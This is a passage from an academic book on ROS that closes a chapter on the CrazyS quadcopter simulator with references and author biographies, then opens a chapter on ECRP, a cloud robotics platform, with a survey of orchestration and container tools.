Future directions for this works can include several aspects. Firstly, controller’scode and all proposed algorithms should be tested in real-world experiments onthe real Crazyflie platform in different scenarios, thus allowing to understand in aquantitative way how the CrazyS platform reflects the real drone behavior. Secondly,the latest firmware release, the 2018.10, may be included in the repository, aligningCrazyS with the current version of the quadcopter. Finally, it may be possible to lookfor some improvements of the inner loop (on-board controller) that, after having beentested on CrazyS, can be thought to replace the on-board controller of the Crazyflie.

[email protected]


References

1. Scaramuzza, D., Achtelik, M.C., Doitsidis, L., Friedrich, F., Kosmatopoulos, E., Martinelli,A., Achtelik, M.W., Chli, M., Chatzichristofis, S., Kneip, L., Gurdan, D., Heng, L., Lee, G.H.,Lynen, S., Pollefeys, M., Renzaglia, A., Siegwart, R., Stumpf, J.C., Tanskanen, P., Troiani, C.,Weiss, S., Meier, L.: Vision-controlled micro flying robots: from system design to autonomousnavigation and mapping in GPS-denied environments. IEEE Robot. Autom. Mag. 21(3), 26–40(2014)

2. Stuart, M.A., Marc, L.L., Friedland, J.C.: High resolution imagery collection for post-disasterstudies utilizing unmanned aircraft systems. Photogramm. Eng. Remote. Sens. 80(12), 1161–1168 (2014)

3. Erdos, D., Erdos, A., Watkins, S.E.: An experimental UAV system for search and rescue chal-lenge. IEEE Aerosp. Electron. Syst. Mag. 28(5), 32–37 (2013)

4. Choi, S., Kim, E.: Image acquisition system for construction inspection based on smallunmanned aerial vehicle. Lecture Notes in Electrical Engineering, vol. 352, pp. 273–280 (2015)

5. Eschmann, C., Kuo, C.M., Kuo, C.H., Boller, C.: Unmanned aircraft systems for remote build-ing inspection and monitoring. In: 6th European Workshop Structural Health Monitoring, vol.2, pp. 1179–1186 (2012)

6. Fraundorfer, F., Heng, L., Honegger, D., Lee, G.H., Meier, L., Tanskanen, P., Pollefeys, M.:Vision-based autonomous mapping and exploration using a quadrotor MAV. In: IEEE Interna-tional Conference on Intelligent Robots and Systems, pp. 4557–4564 (2012)

7. Kamel, B., Santana, M.C.S., De Almeida, T.C.: Position estimation of autonomous aerialnavigation based on hough transform and harris corners detection. In: International Conferenceon Circuits, Electronics, Control and Signal Processing Systems, pp. 148–153 (2010)

8. Kanistras, K., Martins, G., Rutherford, M.J., Valavanis, K.P.: A survey of unmanned aerialvehicles (UAVs) for traffic monitoring. In: International Conference on Unmanned AircraftSystems, pp. 221–234 (2013)

9. Xu, J., Solmaz, G., Rahmatizadeh, R., Turgut, D., Boloni, L.: Animal monitoring withunmanned aerial vehicle-aided wireless sensor networks. In: IEEE 40th Conference on LocalComputer Networks, pp. 125–132 (2015)

10. Anthony, D., Elbaum, S., Lorenz, A., Detweiler, C.: On crop height estimation with UAVs. In:IEEE International Conference on Intelligent Robots and Systems, pp. 4805–4812 (2014)

11. Bills, C., Chen, J., Saxena, A.: Autonomous MAV flight in indoor environments using singleimage perspective cues. In: IEEE International Conference on Robotics and Automation, pp.5776–5783 (2011)

12. Blosch, M., Weiss, S., Scaramuzza, D., Siegwart, R.: Vision based MAV navigation in unknownand unstructured environments. In: IEEE International Conference on Robotics and Automa-tion, pp. 21–28 (2010)

13. Landry, B.: Planning and control for quadrotor flight through cluttered environments. Master’sthesis, MIT (2015)

14. Ferreira de Castro, D., dos Santos, D.A.: A software-in-the-loop simulation scheme for positionformation flight of multicopters. J. Aerosp. Technol. Manag. 8(4), 431–440 (2016)

15. Mancini, M., Costante, G., Valigi, P., Ciarfuglia, T.A., Delmerico, J., Scaramuzza, D.: Towarddomain independence for learning-based monocular depth estimation. IEEE Robot. Autom.Lett. 2(3), 1778–1785 (2017)

16. Hinzmann, T., Schönberger, J.L., Pollefeys, M., Siegwart, R.: Mapping on the fly: real-time3D dense reconstruction, digital surface map and incremental orthomosaic generation forunmanned aerial vehicles. In: Field and Service Robotics, pp. 383–396. Springer InternationalPublishing (2018)

17. Sucan, I.A., Chitta, S.: Moveit! http://moveit.ros.org/ (2013)18. Tallavajhula, A., Kelly, A.: Construction and validation of a high fidelity simulator for a planar

range sensor. In: IEEE Conference on Robotics and Automation, pp. 6261–6266 (2015)19. Diankov, R., Kuffner, J.: Openrave: a planning architecture for autonomous robotics. Technical

Report 79, Robotics Institute, Pittsburgh, PA (2008)

[email protected]


20. Elkady, A., Sobh, T.: Robotics middleware: a comprehensive literature survey and attribute-based bibliography. J. Robot. (2012). Article ID 959013

21. Koenig, N., Howard, A.: Design and use paradigms for Gazebo, an open-source multi-robotsimulator. In: IEEE International Conference on Intelligent Robots and Systems, pp. 2149–2154(2004)

22. Rohmer, E., Singh, S.P.N., Freese, M.: V-REP: a versatile and scalable robot simulation frame-work. In: IEEE International Conference on Intelligent Robots and Systems, pp. 1321–1326(2013)

23. Michel, O.: Webots professional mobile robot simulation. Int. J. Adv. Robot. Syst. 1, 39–42(2004)

24. Shah, S., Dey, D., Lovett, C., Kapoor, A.: AirSim: high-fidelity visual and physical simulationfor autonomous vehicles. In: Field and Service Robotics (2017)

25. Echeverria, G., Lassabe, N., Degroote, A., Lemaignan, S.: Modular open robots simulationengine: MORSE. In: IEEE International Conference on Robotics and Automation, pp. 46–51(2011)

26. Bitcraze, A.B.: Crazyflie official website. https://www.bitcraze.io/27. Meyer, J., Sendobry, A., Kohlbrecher, S., Klingauf, U., von Stryk, O.: Comprehensive simula-

tion of quadrotor UAVs using ROS and Gazebo. In: Noda, I., Ando, N., Brugali, D., Kuffner,J.J. (eds.) Simulation, Modeling, and Programming for Autonomous Robots, pp. 400–411.Springer, Heidelberg (2012)

28. Furrer, F., Burri, M., Achtelik, M., Siegwart, R.: RotorS–a modular gazebo MAV simulatorframework. In: Anis, K. (ed.) Robot Operating System (ROS): The Complete Reference, vol.1, pp. 595–625. Springer International Publishing (2016)

29. Hönig, W., Ayanian, N.: Flying multiple UAVs using ROS. In: Koubaa, A. (ed.) Robot OperatingSystem (ROS): The Complete Reference, vol. 2, pp. 83–118. Springer International Publishing(2017)

30. Shokry, H., Hinchey, M.: Model-based verification of embedded software. Computer 42(4),53–59 (2009)

31. Van der Auweraer, H., Anthonis, J., De Bruyne, S., Leuridan, J.: Virtual engineering at work:the challenges for designing mechatronic products. Eng. Comput. 29(3), 389–408 (2013)

32. Aminzadeh, A., Atashgah, M., Roudbari, A.: Software in the loop framework for the perfor-mance assessment of a navigation and control system of an unmanned aerial vehicle. IEEEAerosp. Electron. Syst. Mag. 33(1), 50–57 (2018)

33. Preiss, J.A., Honig, W., Sukhatme, G.S., Ayanian, N.: Crazyswarm: a large nano-quadcopterswarm. In: IEEE International Conference on Robotics and Automation, pp. 3299–3304 (2017)

34. Galea, B., Kry, P.G.: Tethered flight control of a small quadrotor robot for stippling. In: IEEEInternational Conference on Intelligent Robots and Systems, pp. 1713–1718 (2017)

35. Araki, B., Strang, J., Pohorecky, S., Qiu, C., Naegeli, T., Rus, D.: Multi-robot path planning fora swarm of robots that can both fly and drive. In: IEEE International Conference on Roboticsand Automation, pp. 5575–5582 (2017)

36. Hönig, W., Milanes, C., Scaria, L., Phan, T., Bolas, M., Ayanian, N.: Mixed reality for robotics.In: IEEE International Conference on Intelligent Robots and Systems, pp. 5382–5387 (2015)

37. Giernacki, W., Skwierczyski, M., Witwicki, W., Wroski, P., Kozierski, P.: Crazyflie 2.0 quadro-tor as a platform for research and education in robotics and control engineering. In: 22ndInternational Conference on Methods and Models in Automation and Robotics, pp. 37–42(2017)

38. Bucki, N., Mueller, M.W.: Improved quadcopter disturbance rejection using added angularmomentum. In: 2018 IEEE International Conference on Intelligent Robots and Systems (2018)

39. Silano, G.: CrazyS GitHub repository. https://github.com/gsilano/CrazyS (2018)40. Silano, G.: CrazyS GitHub pull request on RotorS. https://github.com/ethz-asl/rotors_

simulator/pull/465 (2018)41. Bitcraze, A.B.: Crazyflie 2.0 hardware specification. Bitcraze Wiki. https://goo.gl/1kLDqc

(2018)

[email protected]


42. Silano, G., Aucone, E., Iannelli, L.: CrazyS: a software-in-the-loop platform for the Crazyflie2.0 nano-quadcopter. In: 2018 26th Mediterranean Conference on Control and Automation,June 2018, pp. 352–357 (2018)

43. Luis, C., Ny, J.L.: Design of a Trajectory Tracking Controller for a Nanoquadcopter. ÉcolePolytechnique de Montréal, Technical Report (2016). https://arxiv.org/pdf/1608.05786.pdf

44. Siciliano, B., Sciavicco, L., Villani, L., Oriolo, G.: Robotics-Modelling, Planning and Control,2nd edn. Advanced Textbooks in Control and Signal Processing, Springer (2008)

45. Förster, J.: System identification of the Crazyflie 2.0 nano quadrocopter. Bachelor’s thesis,ETH Zurich (2015). https://www.research-collection.ethz.ch/handle/20.500.11850/214143

46. The automatic coordination of teams lab. GitHub repository, RotorS fork, crazyflie-dev branch.https://goo.gl/tBbS9G

47. Vicon motion systems. Vicon official website. https://www.vicon.com (2018)48. NaturalPoint, Inc., Optitrack official website. http://optitrack.com/ (2018)49. Qualisys, A.B.: Qualisys official website. https://www.qualisys.com/ (2018)50. Subramanian, G.: Nonlinear control strategies for quadrotors and CubeSats. Master’s thesis,

University of Illinois (2015)51. Madgwick, S.O.H., Harrison, A.J.L., Vaidyanathan, R.: Estimation of IMU and MARG orien-

tation using a gradient descent algorithm. In: 2011 IEEE International Conference on Rehabil-itation Robotics, June 2011, pp. 1–7 (2011)

52. Myungsoo, J., Roumeliotis, S.I., Sukhatme, G.S.: State estimation of an autonomous helicopterusing Kalman filtering. In: 1999 IEEE International Conference on Intelligent Robots andSystems. Human and Environment Friendly Robots with High Intelligence and EmotionalQuotients, vol. 3, pp. 1346–1353 (1999)

53. Roberts, J.M., Corke, P.I., Buskey, G.: Low-cost flight control system for a small autonomoushelicopter: In: 2003 IEEE International Conference on Robotics and Automation, vol. 1, Sept2003, pp. 546–551 (2003)

54. Rehder, J., Nikolic, J., Schneider, T., Hinzmann, T., Siegwart, R.: Extending kalibr: calibratingthe extrinsics of multiple IMUs and of individual axes. In: IEEE International Conference onRobotics and Automation, pp. 4304–4311 (2016)

55. Glaser, S., Woodall, W.: Xacro. https://wiki.ros.org/xacro (2015)56. RotorS GitHub issues tracker. Increase odometry sensor rate. https://github.com/ethz-asl/

rotors_simulator/issues/42357. Kalibr issue tracker. Kalibr calibration. https://github.com/imrasp/LearnVI_Drone/issues/1#

issuecomment-35072625658. Kalibr issue tracker. Obtaining IMU parameterss from datasheet. https://github.com/ethz-asl/

kalibr/issues/63 (2018)59. Kalibr GitHub wiki. IMU noise model, Kalibr wiki. https://github.com/ethz-asl/kalibr/wiki/

IMU-Noise-Model60. Zheng, J., Qi, M., Xiang, K., Pang, M.: IMU performance analysis for a pedestrian tracker. In:

Huang, Y., Wu, H., Liu, H., Yin, Z. (eds.) Intelligent Robotics and Applications, pp. 494–504.Springer International Publishing (2017)

61. Woodall, W.: Creating a workspace for catkin. http://wiki.ros.org/catkin/Tutorials/create_a_workspace (2018)

62. Autonomous system laboratory. mav_comm repository. https://github.com/ethz-asl/mav_comm (2018)

63. Liu, Z., Hedrick, K.: Dynamic surface control techniques applied to horizontal position con-trol of a quadrotor. In: 2016 20th International Conference on System Theory, Control andComputing (ICSTCC), pp. 138–144 (2016)

64. Islam, S., Faraz, M., Ashour, R.K., Cai, G., Dias, J., Seneviratne, L.: Adaptive sliding mode con-trol design for quadrotor unmanned aerial vehicle. In: International Conference on UnmannedAircraft Systems, pp. 34–39 (2015)

65. Dydek, Z.T., Annaswamy, A.M., Lavretsky, E.: Adaptive control of quadrotor UAVs: a designtrade study with flight evaluations. IEEE Trans. Control. Syst. Technol. 21(4), 1400–1406(2013)

[email protected]


66. Weinstein, A., Cho, A., Loianno, G., Kumar, V.: Visual inertial odometry swarm: an autonomousswarm of vision-based quadrotors. IEEE Robot. Autom. Lett. 3(3), 1801–1807 (2018)

67. Vempati, A.S., Kamel, M., Stilinovic, N., Zhang, Q., Reusser, D., Sa, I., Nieto, J., Siegwart,R., Beardsley, P.: PaintCopter: an autonomous UAV for spray painting on three-dimensionalsurfaces. IEEE Robot. Autom. Lett. 3(4), 2862–2869 (2018)

68. Dunkley, O., Engel, J., Sturm, J., Cremers, D.: Visual-inertial navigation for a camera-equipped25g nano-quadrotor. In: IEEE International Conference on Intelligent Robots and Systems, pp.1–2 (2014)

69. Campos-Macías, L., Gómez-Gutiérrez, D., Aldana-López, R., de la Guardia, R., Parra-Vilchis,J.I.: A hybrid method for online trajectory planning of mobile robots in cluttered environments.IEEE Robot. Autom. Lett. 2(2), 935–942 (2017)

70. Bansal, S., Akametalu, A.K., Jiang, F.J., Laine, F., Tomlin, C.J.: Learning quadrotor dynamicsusing neural network for flight control. In: IEEE Conference on Decision and Control, pp.4653–4660 (2016)

71. Matthies, L., Brockers, R., Kuwata, Y., Weiss, S.: Stereo vision-based obstacle avoidance formicro air vehicles using disparity space. In: 2014 IEEE International Conference on Roboticsand Automation, May 2014, pp. 3242–3249 (2014)

72. Field, T., Diankov, R., Sucan, I., Kay, J.: Collada URDF. ROS Wiki. http://wiki.ros.org/collada_urdf (2018)

73. MathWorks. Robotics system toolbox. MathWorks official website. https://www.mathworks.com/products/robotics.html

74. MathWorks. Connect to a ROS-enabled robot from simulink. MathWorks official web-site. https://it.mathworks.com/help/robotics/examples/connect-to-a-ros-enabled-robot-from-simulink.html

75. MathWorks. Install robotics system toolbox add-ons. MathWorks official website. https://it.mathworks.com/help/robotics/ug/install-robotics-system-toolbox-support-packages.html

76. MathWorks. Create custom messages from ROS package. MathWorks official website. https://it.mathworks.com/help/robotics/ug/create-custom-messages-from-ros-package.html

77. Silano, G.: CrazyS wiki. GitHub. https://github.com/gsilano/CrazyS/wiki/Interfacing-CrazyS-through-MATLAB

78. Silano, G.: Crazyflie hovering example by using the robotics system toolbox. YouTube. https://youtu.be/ZPyMnu7A11s (2018)

79. MathWorks. Generate a standalone ROS node from simulink. MathWorks officialwebsite. https://it.mathworks.com/help/robotics/examples/generate-a-standalone-ros-node-in-simulink.html

80. Silano, G.: Crazyflie 2.0 hovering example when only the ideal odometry sensor is in the loop.YouTube. https://youtu.be/pda-tuULewM (2018)

81. Silano, G.: Crazyflie 2.0 hovering example when disturbances act on the drone. YouTube.https://youtu.be/sobBFbgkiEA (2018)

82. Silano, G.: Crazyflie 2.0 hovering example when the state estimator and the on-board sensorsare taking into account. YouTube. https://youtu.be/qsrYCUSQ-S4 (2018)

83. Mueller, M.W., Hamer, M., D’Andrea, R.: Fusing ultra-wideband range measurements withaccelerometers and rate gyroscopes for quadrocopter state estimation. In: IEEE InternationalConference on Robotics and Automation, pp. 1730–1736 (2015)

84. Mellinger, D., Kumar, V.: Minimum snap trajectory generation and control for quadrotors. In:IEEE International Conference on Robotics and Automation, pp. 2520–2525 (2011)

85. Travis CI, GMBH. TravisCI official website. https://travis-ci.org/ (2018)86. Duvallet, F.: ROS package continuous integration using Travis-CI repository. https://github.

com/felixduvallet/ros-travis-integration (2018)87. Silano, G.: ROS TravisCI integration pull request. https://github.com/felixduvallet/ros-travis-

integration/pull/12 (2018)88. Travis CI, GMBH. Getting started with TravisCI. https://docs.travis-ci.com/user/getting-

started/ (2018)

[email protected]


Giuseppe Silano received the bachelor’s degree in computer engineering (2012) and the master’sdegree in electronic engineering for automation and telecommunication (2016) from the Univer-sity of Sannio, Benevento, Italy. In 2016, he was the recipient of a scholarship entitled “Advancedcontrol systems for the coordination among terrestrial autonomous vehicles and UAVs”. Actually,he is a Ph.D. student at the University of Sannio since 2016. His research interests are in sim-ulation and control, objects detection and tracking from images, state estimation, and planningfor micro aerial vehicles. He was among the finalists of the “Aerial robotics control and percep-tion challenge”, the Industrial Challenge of the 26th Mediterranean Conference on Control andAutomation (MED’18). Mr. Silano is a member of the IEEE Control System Society and IEEERobotics and Automation Society.

Luigi Iannelli received the master’s degree (Laurea) in computer engineering from the Univer-sity of Sannio, Benevento, Italy, in 1999, and the Ph.D. degree in information engineering from theUniversity of Napoli Federico II, Naples, Italy, in 2003. He was a guest researcher and professor atthe Department of Signals, Sensors, and Systems, Royal Institute of Technology, Stockholm, Swe-den, and then a research assistant at the Department of Computer and Systems Engineering, Uni-versity of Napoli Federico II. In 2015, he was a guest researcher at the Johann Bernoulli Instituteof Mathematics and Computer Science, University of Groningen, Groningen, The Netherlands. In2004, he joined the University of Sannio as an assistant professor, and he has been an associateprofessor of automatic control since 2016. His current research interest include analysis and con-trol of switched and nonsmooth systems, stability analysis of piecewise-linear systems, smart gridcontrol and applications of control theory to power electronics and unmanned aerial vehicles. Dr.Iannelli is a member of the IEEE Control System Society, the IEEE Circuits and Systems Society,and the Society for Industrial and Applied Mathematics.

[email protected]

Applications

[email protected]

Cloud Robotics with ROS

Giovanni Toffetti and Thomas Michael Bohnert

Abstract Cloud computing can greatly enhance robotic applications, not only bycomplementing robotic resources (e.g., CPU/GPU, memory, storage), but also byproviding global-scale highly available services, distributed application manage-ment solutions, proven development and deployment practices. However, severalchallenges have to be addressed in order to bridge the gap between cloud and roboticdevelopment, including ROS and cloud design assumptions, networking, and mobilerobots. In this chapter we present ECRP, a Platform as a Service solution for buildingROS-based cloud robotics applications.

Keywords Cloud robotics · Platform as a Service · Cloud computing

1 Introduction

The commercial domain of robotics is dominated by large enterprises, many ofwhich multi-national conglomerates with origins in industry automation. Respec-tively, hardware platforms and software frameworks were closed and purpose-builtfor very specific applications.

Despite the long existence of robotics and an active market of start-ups in recenttime, there is no open and established eco-system anywhere near to the likes ofiOS/Android, the entire Linux domain, Apache Hadoop ecosystem, OpenStack andother OSS Infrastructure as a Service stacks. Recent developments, however, provide

The work related in this chapter was completed in collaboration and with the support of RapyutaRobotics. This work has been partially funded by grant nr. 18235.2PFES-ES of the Swiss Commis-sion for Technology and Innovation (KTI)

G. Toffetti (B) · T. M. BohnertInIT - School of Engineering Zurich University of Applied Sciences (ZHAW),Obere Kirchgasse 2, 8400 Winterthur, Switzerlande-mail: [email protected]

T. M. Bohnerte-mail: [email protected]


119

[email protected]

120 G. Toffetti and T. M. Bohnert

evidence for a disruption in the making. Comparable to the introduction of Linux orAndroid, the availability of the Robot Operating System (ROS)1 is set to open-upand liberate the robotics market towards a truly open and participatory ecosystem.

Yet, ROS was designed with the focal point of an individual robot device ina local deployment. To truly unfold the potential of robotics, one has to take upa much wider vision, with large deployments of very heterogeneous robots, withvery different abilities, in completely different environments. This adds differentchallenges for robot system development than targeting individual robots separatelyor as a small set. Furthermore, robots are meant to assist in application domains andthose applications are equally diverse as the robots, ranging from personal all theway to enterprise and industrial application domains.

What is therefore needed is the vision of an ecosystem that embraces the het-erogeneity not only from a device perspective, but also in terms of user and societalneeds, respective robotics applications, and related commercial imperatives. Such anecosystem will enable all stakeholders to participate in the vision of global availabil-ity of a wide array of robotics services and provides the means for robots to serve usnot only on our workplace and professional lives, but also in our private ones.

The Cloud Computing Platform as a Service (PaaS) [16] paradigm is the naturalincarnation of such an ecosystem from a development perspective. PaaS providesa development and execution environment (an execution platform) that, abstractingfrom the underlying system infrastructure (e.g., bare-metal servers, virtual machines,robots, generic devices), allows developers to focus on application functionality,building, deploying, and managing at runtime their applications as compositions ofhigh level platform components and services.

Platform as a Service has had a tremendous impact on development productiv-ity by providing build and deployment automation from source code, simplifiedaccess to an easily composable ecosystem of pre-packaged services that can beself-provisioned, application health-management functionalities, and managementand monitoring dashboards. The goal is to achieve the same results for robotics

development through the cloud. In order to succeed, we need to be able to providethe same advantages across the board that a PaaS gives in pure cloud-developmentenvironments, e.g. for example in Web development.

This chapter will relate on the design, architecture, and implementation experi-ence of the Enterprise Cloud Robotics Platform (ECRP), the first PaaS for ROSdevelopment. The research questions we will answer are: How to design a domain-specific PaaS for ROS-based robotics? (Sect. 3) What are the expected roles andabstractions? (Sect. 3.2) How to integrate ephemeral and diverse robot resources,and robot control software frameworks, what kind of software development supportto provide? (Sects. 4 and 5).

The challenges related to designing a Robotics PaaS start from infrastructuralconcerns such as managing compute, networking, and storage across two or moreseparate physical domains, robots/edge and data centers, making sure that intermit-tent connectivity does not hinder its functioning, and building a seamless runtime

1https://www.ros.org

[email protected]

Cloud Robotics with ROS 121

platform on top of it. From the Platform perspective other challenges come frombuilding a set of generic and reusable components, orchestrating their deployment,their dynamic discovery and composition at runtime, as well as adaptively placingthem according to infrastructural capabilities (e.g., presence of devices on robots) aswell as performance requirements. Most of these challenges require proper innova-tion in their own right, and will be addressed in the chapter.

2 State of the Art

2.1 Cloud Robotics

The relatively novel concept of Cloud Robotics centered around the benefits of con-verged infrastructure and shared services for robotics. The idea of utilising a remotebrain for the robots can be traced back to the 90s [8, 12].

The DAvinCi Project [1] uses ROS as the messaging framework to process datawith a Hadoop cluster, parallelizing the FastSLAM algorithm [28]. Unfortunately,the DAvinCi Project is not publicly available.

While the main focus of DAvinCi was computation, the ubiquitous network robotplatform (UNR-PF) [13, 23] focused on using the cloud as a medium for establishinga network between robots, sensors, and mobile devices.

Similar examples of connecting ROS middleware to remote processes includeRosbridge [3] and FIROS [10]. Rosbridge provides JSON Application ProgrammingInterface (APIs) to ROS functionality using the WebSocket protocol while FIROSconnects the ROS middleware to the FIWARE ecosystem by acting as a translatorbetween ROS messages and FIWARE NGSI format.

RoboEarth [31], a Cloud Robotics initiative, focuses on Knowledge Representa-tion, Storage Infrastructure and scalable cloud-based computation. The RoboEarthCloud Engine [17], is based on elastic computing, allowing robots to share all or a sub-set of their services and information. RoboEarth WebSocket-based communicationserver provides bidirectional, virtually full-duplex communication between cloudsand robots. This design choice also allows the server to initiate communication andsend data or commands to the robot. In [18] the authors present an architecture, proto-col, and parallel algorithms for 3D mapping in the cloud with limited computationalcapabilities on the robot.

Finally, the authors of the AdAPtS framework [24] solved the autonomous accessto services from a robot which is a well-known bootstrapping problem for newdeployments in which the robot needs an initial set of context-specific services.In addition to the service interfaces, this framework allows for the transmission ofembedded integrators for the robotic middleware.

More general PaaS platforms, such as the popular Google App Engine or Herokuare not well suited for robotics applications since they are typically geared towardsweb applications and services, with no provisioning for running application compo-

[email protected]


nents other than in the cloud, requiring a manual cumbersome process to deploy anapplication integrating robots and cloud resources.

Recently,2 Google has announced the future availability of its own Cloud Roboticsplatform,3 however at the moment little information is available on it.

2.2 Orchestration of Robot Applications

The NIST cloud computing reference architecture [16] defines “Service Orchestra-tion” in the context of offering cloud services as referring to “the composition ofsystem components to support the Cloud Providers activities in arrangement, coor-dination and management of computing resources in order to provide cloud servicesto Cloud Consumers”.

Generalizing to any IT service, we define a Resource Orchestration software ascapable of organizing and managing the lifecycle of a set of resources and ServiceOrchestration software as a software able to deploy and provision multiple services,seamlessly merging them to serve a complex offering.

TOSCA4 is a standard specification language from OASIS to describe a topologyof cloud based web services. Albeit it being a standard, its adoption in practice islow, as cloud developers tend to adopt the specification language of their chosenorchestration software.

Heat5 is a resource orchestrator, taking a JSON or YAML template of resourcesand deploying them on an underlying infrastructure. An important feature is itsability to easily handle configuration management of resources through cloud-init,either using in-line configuration description or through specific resources such asSoftwareDeployment and SoftwareConfiguration. Heat supports the initial Ama-zon CloudFormation resources but has been developed since and now has its ownadvanced features. Initially, Heat was written with OpenStack6 in mind but it hasbeen proven easy to develop drivers for other IaaS such as Joyent Smart Datacenter.7

Slipstream8 from SixSQ provides automated, on-demand, creation of multi-machine runtime environments, supporting a very typical lifecycle of deployment,provision and deletion for each resource it manages. Slipstream can easily be com-pared to Heat as it does not have a notion of composed services, but rather coordinatesa set of virtual resources directly.

2https://www.therobotreport.com/google-cloud-robotics-platform/3https://cloud.google.com/cloud-robotics/4http://docs.oasis-open.org/tosca/TOSCA/v1.0/TOSCA-v1.0.html5https://wiki.openstack.org/wiki/Heat6https://www.openstack.org/7https://github.com/joyent/sdc8http://sixsq.com/products/slipstream/

[email protected]


Another software is Cloudify,9 which aims to completely manage applicationsdefined by blueprints which specify an applications topology. Blueprints are notlimited to resources and can encompass application configuration for instance.Blueprints manage the list of dependencies of an application as well as all workflows,such as startup order of components and interdependencies. Cloudify is a resourceprovider agnostic software, able to deploy resources in openstack, cloudstack orAWS for instance, it is also configuration tool agnostic as it can handle configura-tion recipes consumed by puppet, chef, or fabric. Blueprints can also use customworkflows written in Python to handle more complex configuration of resources.Cloudify does not use standards but has rather developed its own suite. On the otherhand, Cloudify has no built-in support for health-management of the orchestratedapplication.

Nirmata10 provides a platform for the development and operations of cloud appli-cations, with applications defined as a set of loosely coupled cloud services, eachof them being a resource template. It handles health management, but essentiallyfor the purpose of scaling of the application based on user-controlled policies. Eachcloud service has pluggable modules for common features such as uniform APIsand exposed metrics. A nice feature is the possibility to package Nirmata apps intoDocker containers to easily redeploy them in other contexts as necessary or even forsimpler scaling.

Other orchestrators may not be dedicated to cloud services, such as Citrix AppOrchestration11 or Microsoft System Center Orchestrator.12

One of the outputs of the Mobile Cloud Networking (MCN)13 and T-NOVA14 EUprojects, implemented in a research prototype solution called Hurtle.15 Hurtle pro-vides automation of the life cycle of cloud-based services. The uniqueness of Hurtlein the orchestration state-of-the-art lays in its two-pronged approach that combinesresource orchestration and service composition in a seamless way to achieve modularand recursive composition. Hurtle orchestration is based on the concept of service.A service represents an abstract functionality that, in order to be performed, requiresa set of resources, be they virtual (e.g., cloud VMs, containers) or physical (e.g.,robots, cameras). To achieve modularity and reuse, a service can be the composi-tion of other services that provide simpler functionality (e.g., logging, monitoring,alarming, authentication). Each composed service will have its own set of requiredresources. A service instance is the concrete instantiation of a service functionalitywith its associated set of concrete resources and service endpoints. The concepts andarchitecture of Hurtle provide a powerful framework for the design, implementation,

9http://getcloudify.org/10http://nirmata.com/11https://www.citrix.com/solutions/hosted-desktops/app-orchestration.html12https://technet.microsoft.com/en-us/library/hh237242.aspx13http://www.mobile-cloud-networking.eu14http://www.t-nova.eu15http://hurtle.it

[email protected]


deployment, provisioning, runtime management, and disposal of cloud robotics tasksand applications.

To the best of our knowledge, ECRP is the first project advocating the use of cloud-based orchestration for the control of the life-cycle of robotic application resourcesand components. Current robotic development in ROS does not support complexorchestration of multiple resources across networks and with multiple masters. ROSlaunch files are the standard way to start multiple ROS nodes, they also support run-ning nodes across distributed hosts, but assume a flat network with direct connectivityamong machines, and SSH access.16

2.3 Cross-Domain Container-Based Runtime

Docker17 combines a set of existing technologies (Linux containers, namespaces,cgroups, chroot) into a very effective packaging, sharing, and execution toolchainthat revolutionized deployment in the cloud. Other container runtime solutions exist(e.g., Rocket18), however Docker has quickly become the de-facto standard.

Modern applications are organized in micro-services and composed of hundredsof containers. In order to manage them, several container management solutions haveemerged from different vendors.

Fleet19 is the container management solution from CoreOS. Docker-compose20

allows to define and run a multi-container application. Combined with docker-swarmallows the application to be run across multiple machines. Kubernetes21 is the resultof more than 10 year of experience running containerized workloads at Googleand its research on Borg22 and Omega.23 For a relatively new project it is wildlypopular seeing contributions from across the board including Google, RedHat amongothers. It is also the solution of choice of the newly formed Cloud Native ComputingFoundation (CNCF).24

Most container management solutions offer health-management capabilities, thatis a mechanism that restarts/spawns new containers in case of failures or in case themonitored state of the application differs from the desired state. Health managementis implemented in a resilient way by leveraging on distributed shared state amongcluster nodes that is achieved through modern distributed key-values stores basedon consensus algorithms (e.g., etcd, consul, zookeeper). Container management sys-

16https://wiki.ros.org/roslaunch/XML/machine17https://www.docker.com18https://github.com/coreos/rkt19https://coreos.com/fleet/docs/latest/launching-containers-fleet.html20https://docs.docker.com/compose21http://kubernetes.io/22http://research.google.com/pubs/pub43438.html23http://research.google.com/pubs/pub41684.html24https://cncf.io

[email protected]


tems are designed to work on nodes forming a low-latency cluster, the underlyingdistributed key-value stores are designed to sacrifice availability for consistency inthe face of a network partition,25 hence cannot be used to seamlessly manage nodeswhich can be mobile and distributed across domains like robots in ECRP.

2.4 Robot-Aware Cloud Networking—ROS-Support

for Wireless and Mobile Networks

One drawback of ROS is that it considers the robot, or a set of robots, as an isolatedsystem in a controlled network environment. But in real systems the underlyingnetwork is more complex, and a moving Robot can change its access point, changinginterfaces, changing IP addressing, suffering temporal disconnections, etc.

In the case of ROS2, RTPS (Real-Time Publish Subscribe Protocol) has beenchosen since it was designed for industrial automation and robotics, later adoptedby DDS (Data Distribution Service for Real-Time Systems), an OMG specifica-tion26 created by a spin-off of the Stanford Robotics Laboratory and Thales. SeveralDDS implementations are supported by ROS, but the official standard is eProsimaFast RTPS as selected by OSRF. Alternatives are OpenSplice DDS and Real TimeInnovations (RTI) Connext DDS.27

The different RTPS implementations have some solutions to enable protocol rout-ing over different networks (RTI-RS28 and OpenSplice Networking Bridge29), butthere is no solution to react to IP changes, neither complete solutions for Routingand NATing the protocol. This is a common problem of the Pub/Sub protocols.Use of Pub/Sub pattern is very convenient, because the developer just subscribes orpublishes to topics, the middleware takes care of delivery.

By architecture design the Pub/Sub pattern exposes a lower latency/higherthroughput than the request/reply pattern. Another important feature is the abilityto use multicast. But all of this simplicity comes with a price: information aboutpeers locations is embedded in the protocol, and every node maintains an in-memorydatabase of the remote nodes, the Discovery process. This works well in isolatedand simple networks, but in complex systems with dynamic IP changes and NAT,it simply does not work. It is straightforward to implement a Software RoutingService using pairs of Pub/Sub for each network you want to communicate, usingsimple Transmission Control Protocol (TCP) tunnels across Wide Area Networks(WANs). There are a few commercial solutions doing this (the already cited RTI-RS

25https://www.consul.io/intro/vs/zookeeper.html26http://www.omg.org/spec/DDS, http://www.omg.org/spec/DDSI-RTPS27http://design.ros2.org/articles/ros_on_dds.html, https://github.com/ros2/ros2/blob/master/ros2.repos28https://www.rti.com/products/dds/routing-service.html29http://download.prismtech.com/docs/Vortex/html/ospl/DeploymentGuide/networkingbridge-service.html

[email protected]


and OpenSplice Networking Bridge), but they do not solve the problem of ProtocolNative IP Mobility, neither are designed for wireless networks with packet loss anddisconnections.

2.5 Distributed Storage Across Heterogeneous Providers

and Devices

